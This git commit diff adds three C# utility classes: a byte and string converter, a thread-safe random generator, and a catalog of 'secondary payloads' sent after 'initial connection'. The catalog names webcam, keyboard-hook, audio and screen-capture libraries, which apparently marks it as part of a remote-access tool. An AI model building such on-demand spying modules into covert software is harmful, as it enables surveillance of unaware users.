initial commit
This commit is contained in:
@@ -0,0 +1,135 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Common.Utilities
|
||||
{
|
||||
public class ByteConverter
|
||||
{
|
||||
private static byte NULL_BYTE = byte.MinValue;
|
||||
|
||||
public static byte[] GetBytes(int value)
|
||||
{
|
||||
return BitConverter.GetBytes(value);
|
||||
}
|
||||
|
||||
public static byte[] GetBytes(long value)
|
||||
{
|
||||
return BitConverter.GetBytes(value);
|
||||
}
|
||||
|
||||
public static byte[] GetBytes(uint value)
|
||||
{
|
||||
return BitConverter.GetBytes(value);
|
||||
}
|
||||
|
||||
public static byte[] GetBytes(ulong value)
|
||||
{
|
||||
return BitConverter.GetBytes(value);
|
||||
}
|
||||
|
||||
public static byte[] GetBytes(string value)
|
||||
{
|
||||
return StringToBytes(value);
|
||||
}
|
||||
|
||||
public static byte[] GetBytes(string[] value)
|
||||
{
|
||||
return StringArrayToBytes(value);
|
||||
}
|
||||
|
||||
public static int ToInt32(byte[] bytes)
|
||||
{
|
||||
return BitConverter.ToInt32(bytes, 0);
|
||||
}
|
||||
|
||||
public static long ToInt64(byte[] bytes)
|
||||
{
|
||||
return BitConverter.ToInt64(bytes, 0);
|
||||
}
|
||||
|
||||
public static uint ToUInt32(byte[] bytes)
|
||||
{
|
||||
return BitConverter.ToUInt32(bytes, 0);
|
||||
}
|
||||
|
||||
public static ulong ToUInt64(byte[] bytes)
|
||||
{
|
||||
return BitConverter.ToUInt64(bytes, 0);
|
||||
}
|
||||
|
||||
public static string ToString(byte[] bytes)
|
||||
{
|
||||
return BytesToString(bytes);
|
||||
}
|
||||
|
||||
public static string[] ToStringArray(byte[] bytes)
|
||||
{
|
||||
return BytesToStringArray(bytes);
|
||||
}
|
||||
|
||||
private static byte[] GetNullBytes()
|
||||
{
|
||||
//Null bytes: 00 00
|
||||
return new byte[] { NULL_BYTE, NULL_BYTE };
|
||||
}
|
||||
|
||||
private static byte[] StringToBytes(string value)
|
||||
{
|
||||
byte[] bytes = new byte[value.Length * sizeof(char)];
|
||||
Buffer.BlockCopy(value.ToCharArray(), 0, bytes, 0, bytes.Length);
|
||||
return bytes;
|
||||
}
|
||||
|
||||
private static byte[] StringArrayToBytes(string[] strings)
|
||||
{
|
||||
List<byte> bytes = new List<byte>();
|
||||
|
||||
foreach (string str in strings)
|
||||
{
|
||||
bytes.AddRange(StringToBytes(str));
|
||||
bytes.AddRange(GetNullBytes());
|
||||
}
|
||||
|
||||
return bytes.ToArray();
|
||||
}
|
||||
|
||||
private static string BytesToString(byte[] bytes)
|
||||
{
|
||||
int nrChars = (int)Math.Ceiling((float)bytes.Length / (float)sizeof(char));
|
||||
char[] chars = new char[nrChars];
|
||||
Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length);
|
||||
return new string(chars);
|
||||
}
|
||||
|
||||
private static string[] BytesToStringArray(byte[] bytes)
|
||||
{
|
||||
List<string> strings = new List<string>();
|
||||
|
||||
int i = 0;
|
||||
StringBuilder strBuilder = new StringBuilder(bytes.Length);
|
||||
while (i < bytes.Length)
|
||||
{
|
||||
//Holds the number of nulls (3 nulls indicated end of a string)
|
||||
int nullcount = 0;
|
||||
while (i < bytes.Length && nullcount < 3)
|
||||
{
|
||||
if (bytes[i] == NULL_BYTE)
|
||||
{
|
||||
nullcount++;
|
||||
}
|
||||
else
|
||||
{
|
||||
strBuilder.Append(Convert.ToChar(bytes[i]));
|
||||
nullcount = 0;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
strings.Add(strBuilder.ToString());
|
||||
strBuilder.Clear();
|
||||
}
|
||||
|
||||
return strings.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.ObjectModel;
|
||||
using System.Linq;
|
||||
|
||||
namespace Pulsar.Common.Utilities
|
||||
{
|
||||
/// <summary>
|
||||
/// Defines the set of assemblies that are considered secondary payloads and may be delivered on-demand.
|
||||
/// </summary>
|
||||
public static class DeferredAssemblyCatalog
|
||||
{
|
||||
private static readonly string[] _secondaryAssemblies = new[]
|
||||
{
|
||||
"AForge",
|
||||
"AForge.Video",
|
||||
"AForge.Video.DirectShow",
|
||||
"Gma.System.MouseKeyHook",
|
||||
"NAudio.Core",
|
||||
"NAudio.Wasapi",
|
||||
"NAudio.WinForms",
|
||||
"NAudio.WinMM",
|
||||
"SharpDX",
|
||||
"SharpDX.Direct2D1",
|
||||
"SharpDX.Direct3D11",
|
||||
"SharpDX.DXGI",
|
||||
"SharpDX.D3DCompiler",
|
||||
"SharpDX.Mathematics"
|
||||
};
|
||||
|
||||
private static readonly ReadOnlyCollection<string> _secondaryAssembliesReadonly =
|
||||
Array.AsReadOnly(_secondaryAssemblies);
|
||||
|
||||
private static readonly HashSet<string> _secondaryAssembliesSet =
|
||||
new HashSet<string>(_secondaryAssemblies, StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
/// <summary>
|
||||
/// Gets the ordered list of assemblies that should be delivered after the initial connection.
|
||||
/// </summary>
|
||||
public static IReadOnlyList<string> SecondaryAssemblies => _secondaryAssembliesReadonly;
|
||||
|
||||
/// <summary>
|
||||
/// Checks whether the provided assembly name is part of the deferred assembly list.
|
||||
/// </summary>
|
||||
/// <param name="assemblyName">The simple assembly name.</param>
|
||||
public static bool IsDeferredAssembly(string assemblyName)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(assemblyName))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return _secondaryAssembliesSet.Contains(assemblyName);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace Pulsar.Common.Utilities
|
||||
{
|
||||
/// <summary>
|
||||
/// Thread-safe random number generator.
|
||||
/// Has same API as System.Random but is thread safe, similar to the implementation by Steven Toub: http://blogs.msdn.com/b/pfxteam/archive/2014/10/20/9434171.aspx
|
||||
/// </summary>
|
||||
public class SafeRandom
|
||||
{
|
||||
private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create();
|
||||
|
||||
[ThreadStatic]
|
||||
private static Random _random;
|
||||
|
||||
private static Random GetRandom()
|
||||
{
|
||||
if (_random == null)
|
||||
{
|
||||
byte[] buffer = new byte[4];
|
||||
GlobalCryptoProvider.GetBytes(buffer);
|
||||
_random = new Random(BitConverter.ToInt32(buffer, 0));
|
||||
}
|
||||
|
||||
return _random;
|
||||
}
|
||||
|
||||
public int Next()
|
||||
{
|
||||
return GetRandom().Next();
|
||||
}
|
||||
|
||||
public int Next(int maxValue)
|
||||
{
|
||||
return GetRandom().Next(maxValue);
|
||||
}
|
||||
|
||||
public int Next(int minValue, int maxValue)
|
||||
{
|
||||
return GetRandom().Next(minValue, maxValue);
|
||||
}
|
||||
|
||||
public void NextBytes(byte[] buffer)
|
||||
{
|
||||
GetRandom().NextBytes(buffer);
|
||||
}
|
||||
|
||||
public double NextDouble()
|
||||
{
|
||||
return GetRandom().NextDouble();
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user